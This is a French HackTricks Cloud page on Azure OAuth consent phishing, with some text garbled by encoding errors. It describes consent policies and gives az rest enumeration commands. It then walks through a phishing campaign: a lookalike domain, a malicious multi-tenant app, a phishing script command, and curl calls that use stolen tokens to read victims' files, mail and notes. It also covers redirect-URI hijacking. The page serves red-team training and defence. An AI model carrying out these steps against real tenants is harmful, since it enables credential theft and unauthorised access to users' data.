Az - OAuth Apps Phishing
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Phishing dâapplications OAuth
Les applications Azure sont configurĂ©es avec les autorisations quâelles pourront utiliser lorsque lâutilisateur consent Ă lâapplication (comme Ă©numĂ©rer le rĂ©pertoire, accĂ©der aux fichiers ou effectuer dâautres actions). Notez que lâapplication agira au nom de lâutilisateur, donc mĂȘme si lâapplication peut demander des autorisations dâadministration, si lâutilisateur qui consent nâa pas cette autorisation, lâapplication ne pourra pas effectuer dâactions administratives.
Autorisations de consentement des applications
Par dĂ©faut, tout utilisateur peut donner son consentement aux applications, bien que cela puisse ĂȘtre configurĂ© pour que les utilisateurs ne puissent consentir quâaux applications de publishers vĂ©rifiĂ©s pour des autorisations sĂ©lectionnĂ©es ou mĂȘme supprimer lâautorisation pour que les utilisateurs consentent aux applications.

Si les utilisateurs ne peuvent pas consentir, des administrateurs comme GA, Application Administrator ou Cloud Application Administrator peuvent consentir aux applications que les utilisateurs pourront utiliser.
De plus, si les utilisateurs peuvent consentir uniquement aux applications utilisant des autorisations Ă faible risque, ces autorisations sont par dĂ©faut openid, profile, email, User.Read et offline_access, bien quâil soit possible dâajouter plus Ă cette liste.
Et sâils peuvent consentir Ă toutes les applications, ils peuvent consentir Ă toutes les applications.
2 Types dâattaques
- Non authentifiĂ© : Ă partir dâun compte externe, crĂ©ez une application avec les autorisations Ă faible risque
User.ReadetUser.ReadBasic.Allpar exemple, hameçonnez un utilisateur, et vous pourrez accĂ©der aux informations du rĂ©pertoire. - Cela nĂ©cessite que lâutilisateur hameçonnĂ© soit capable dâaccepter des applications OAuth dâun locataire externe.
- Si lâutilisateur hameçonnĂ© est un administrateur qui peut consentir Ă nâimporte quelle application avec nâimporte quelles autorisations, lâapplication pourrait Ă©galement demander des autorisations privilĂ©giĂ©es.
- AuthentifiĂ© : Ayant compromis un principal avec suffisamment de privilĂšges, crĂ©ez une application Ă lâintĂ©rieur du compte et hameçonnez un utilisateur privilĂ©giĂ© qui peut accepter des autorisations OAuth privilĂ©giĂ©es.
- Dans ce cas, vous pouvez dĂ©jĂ accĂ©der aux informations du rĂ©pertoire, donc lâautorisation
User.ReadBasic.Allnâest plus intĂ©ressante. - Vous ĂȘtes probablement intĂ©ressĂ© par des autorisations qui nĂ©cessitent quâun administrateur les accorde, car un utilisateur ordinaire ne peut pas donner dâautorisations aux applications OAuth, câest pourquoi vous devez hameçonner uniquement ces utilisateurs (plus dâinformations sur les rĂŽles/permissions qui accordent ce privilĂšge plus tard).
Les utilisateurs sont autorisés à consentir
Notez que vous devez exĂ©cuter cette commande Ă partir dâun utilisateur Ă lâintĂ©rieur du locataire, vous ne pouvez pas trouver cette configuration dâun locataire depuis un externe. Le cli suivant peut vous aider Ă comprendre les autorisations des utilisateurs :
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
- Les utilisateurs peuvent consentir Ă toutes les applications : Si Ă lâintĂ©rieur de
permissionGrantPoliciesAssignedvous pouvez trouver :ManagePermissionGrantsForSelf.microsoft-user-default-legacyalors les utilisateurs peuvent accepter chaque application. - Les utilisateurs peuvent consentir aux applications de publishers vĂ©rifiĂ©s ou de votre organisation, mais seulement pour les permissions que vous sĂ©lectionnez : Si Ă lâintĂ©rieur de
permissionGrantPoliciesAssignedvous pouvez trouver :ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-teamalors les utilisateurs peuvent accepter chaque application. - DĂ©sactiver le consentement des utilisateurs : Si Ă lâintĂ©rieur de
permissionGrantPoliciesAssignedvous ne pouvez trouver que :ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chatetManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-teamalors les utilisateurs ne peuvent consentir Ă aucune.
Il est possible de trouver la signification de chacune des politiques commentées dans :
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
Administrateurs dâapplication
VĂ©rifiez les utilisateurs qui sont considĂ©rĂ©s comme des administrateurs dâapplication (peuvent accepter de nouvelles applications) :
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
Aperçu du Flux dâAttaque
Lâattaque implique plusieurs Ă©tapes ciblant une entreprise gĂ©nĂ©rique. Voici comment cela pourrait se dĂ©rouler :
- Enregistrement de Domaine et HĂ©bergement dâApplication : Lâattaquant enregistre un domaine ressemblant Ă un site de confiance, par exemple, âsafedomainlogin.comâ. Sous ce domaine, un sous-domaine est créé (par exemple, âcompanyname.safedomainlogin.comâ) pour hĂ©berger une application conçue pour capturer des codes dâautorisation et demander des jetons dâaccĂšs.
- Enregistrement de lâApplication dans Azure AD : Lâattaquant enregistre ensuite une Application Multi-Tenant dans son locataire Azure AD, la nommant dâaprĂšs lâentreprise cible pour paraĂźtre lĂ©gitime. Il configure lâURL de redirection de lâapplication pour pointer vers le sous-domaine hĂ©bergeant lâapplication malveillante.
- Configuration des Autorisations : Lâattaquant configure lâapplication avec diverses autorisations API (par exemple,
Mail.Read,Notes.Read.All,Files.ReadWrite.All,User.ReadBasic.All,User.Read). Ces autorisations, une fois accordĂ©es par lâutilisateur, permettent Ă lâattaquant dâextraire des informations sensibles au nom de lâutilisateur. - Distribution de Liens Malveillants : Lâattaquant crĂ©e un lien contenant lâidentifiant client de lâapplication malveillante et le partage avec des utilisateurs ciblĂ©s, les trompant pour quâils accordent leur consentement.
Exemple dâAttaque
- Enregistrez une nouvelle application. Elle peut ĂȘtre uniquement pour le rĂ©pertoire actuel si vous utilisez un utilisateur du rĂ©pertoire attaquĂ© ou pour nâimporte quel rĂ©pertoire si câest une attaque externe (comme dans lâimage suivante).
- DĂ©finissez Ă©galement lâURI de redirection sur lâURL attendue oĂč vous souhaitez recevoir le code pour obtenir des jetons (
http://localhost:8000/callbackpar défaut).
.png)
- Ensuite, crĂ©ez un secret dâapplication :
.png)
- Sélectionnez les autorisations API (par exemple,
Mail.Read,Notes.Read.All,Files.ReadWrite.All,User.ReadBasic.All,User.Read)
.png)
- Exécutez la page web (azure_oauth_phishing_example) qui demande les autorisations :
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
- Envoyez lâURL Ă la victime
- Dans ce cas
http://localhost:8000 - Les victimes doivent accepter lâinvite :
.png)
- Utilisez le jeton dâaccĂšs pour accĂ©der aux autorisations demandĂ©es :
export ACCESS_TOKEN=<ACCESS_TOKEN>
# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
Autres Outils
- 365-Stealer: Consultez https://www.alteredsecurity.com/post/introduction-to-365-stealer pour apprendre Ă le configurer.
- O365-Attack-Toolkit
Post-Exploitation
Phishing Post-Exploitation
Selon les autorisations demandĂ©es, vous pourriez ĂȘtre en mesure de accĂ©der Ă diffĂ©rentes donnĂ©es du locataire (liste des utilisateurs, groupes⊠ou mĂȘme modifier des paramĂštres) et informations de lâutilisateur (fichiers, notes, e-mailsâŠ). Ensuite, vous pouvez utiliser ces autorisations pour effectuer ces actions.
Applications Admin Entra ID
Si vous parvenez Ă compromettre dâune maniĂšre ou dâune autre un principal Entra ID qui peut gĂ©rer des applications dans Entra ID, et quâil y a des applications utilisĂ©es par les utilisateurs du locataire. Un administrateur pourrait modifier les autorisations demandĂ©es par lâapplication et ajouter une nouvelle adresse de redirection autorisĂ©e pour voler les jetons.
- Notez quâil est possible dâajouter des URI de redirection (pas besoin de supprimer la vraie) et ensuite dâenvoyer un lien HTTP en utilisant lâURI de redirection de lâattaquant, de sorte que lorsque lâutilisateur suit le lien, lâauthentification se produit automatiquement et lâattaquant reçoit le jeton.
- Il est Ă©galement possible de changer les autorisations demandĂ©es par lâapplication afin dâobtenir plus dâautorisations des utilisateurs, mais dans ce cas, lâutilisateur devra accepter Ă nouveau lâinvite (mĂȘme sâil Ă©tait dĂ©jĂ connectĂ©).
- Pour effectuer cette attaque, lâattaquant NâA PAS BESOIN de contrĂŽler le code de lâapplication, car il pourrait simplement envoyer le lien pour se connecter Ă lâapplication Ă lâutilisateur avec la nouvelle URL dans le paramĂštre
redirect_uri.
Post-Exploitation de lâApplication
Consultez les sections Applications et Principal de Service de la page :
Références
- https://www.alteredsecurity.com/post/introduction-to-365-stealer
- https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

